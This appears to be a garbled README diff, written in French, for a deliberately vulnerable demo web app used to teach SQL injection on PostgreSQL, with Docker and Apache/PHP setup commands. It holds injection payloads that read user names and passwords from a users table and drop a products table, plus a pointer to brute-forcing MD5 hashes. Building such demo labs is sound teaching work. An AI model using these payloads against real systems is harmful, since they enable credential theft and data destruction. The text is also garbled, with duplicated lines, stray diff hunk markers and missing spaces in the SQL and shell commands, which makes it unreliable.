Stoppe les containers Docker si lancés et les recrée, réinitialise la base de données avec le scipt SQL.
```sh
docker-compose down -v&& docker-compose up --force-recreate
```
## Scénario d'attaque
## Scénario d'attaque
Possibilité de rajouter du code SQL après le nombre dans le champ d'input:
Possibilité de rajouter du code SQL après le nombre dans le champ d'input.
Obtenir le mot de passe admin:
```sql
```sql
400;SELECTname,passwordas"price"FROMusers;
400;SELECTname,passwordas"price"FROMusers:
```
```
> Le mot de passe de l'admin est hashé en md5, le bruteforce à l'aide de [cet outil](https://github.com/ngirot/BruteForce)
Le mot de passe de l'admin est hashé en md5, le bruteforce à l'aide de [cet outil](https://github.com/ngirot/BruteForce)
fonctionne en moins de 10 secondes en mode alphabet uniquement.
fonctionne en moins de 10 secondes en mode alphabet uniquement.
Supprimer les données de la table:
```sql
```sql
400;DROPTABLEproducts;
400;DROPTABLEproducts;
```
```
...
@@ -33,16 +21,47 @@ fonctionne en moins de 10 secondes en mode alphabet uniquement.
...
@@ -33,16 +21,47 @@ fonctionne en moins de 10 secondes en mode alphabet uniquement.
La base de données utilisée ici est PostgreSQL, et permet de faire fonctionner les injections SQL simples utilisées ici.
La base de données utilisée ici est PostgreSQL, et permet de faire fonctionner les injections SQL simples utilisées ici.
Elles ne fonctionnent pas forcément avec d'autres SGBD tel que MySQL.
Elles ne fonctionnent pas forcément avec d'autres SGBD tel que MySQL.
## Erreurs
## Setup
Si une erreur de ce type provient lors du lancement via docker-compose :
```shell
# install apache
sudo apt-get --purge remove apache2
sudo apt-get autoremove
sudo apt-get install apache2
sudo /etc/init.d/apache2 restart
# open port 80
sudo ufw allow 80/tcp
# install php
sudo apt install php libapache2-mod-php php-mysql
# install PostgreSQL
sudo apt install postgresql postgresql-contrib
sudo apt update
sudo apt upgrade
sudo apt install postgresql postgresql-contrib
sudo systemctl start postgresql.service
# create PostgreSQL user and database
sudo-i-u postgres
psql
# > CREATE USER + CREATE DATABASE
# deploy code on server
# > scp tar.gz file
tar-xvf vulnerabilities-demos-main.tar.gz
cd vulnerabilities-demos-main/
cp-r sql/ /var/www/html/
# fill sql database
sudo-i-u postgres
psql
psql -U bigdata -d db -a-f initpg.sql -W-h 127.0.0.1
# install php extensions for PostgreSQL
sudo apt install libpq-dev -y
sudo apt install pdo
micro /etc/php/8.1/apache2/php.ini
sudo systemctl restart apache2
```
```
failed to remove network sql_default: Error response from daemon: error while removing network: network sql_default id 722fb70283cf8187e3ce6ef7389363217706ae6697b617cde238b33cade825cb has active endpoints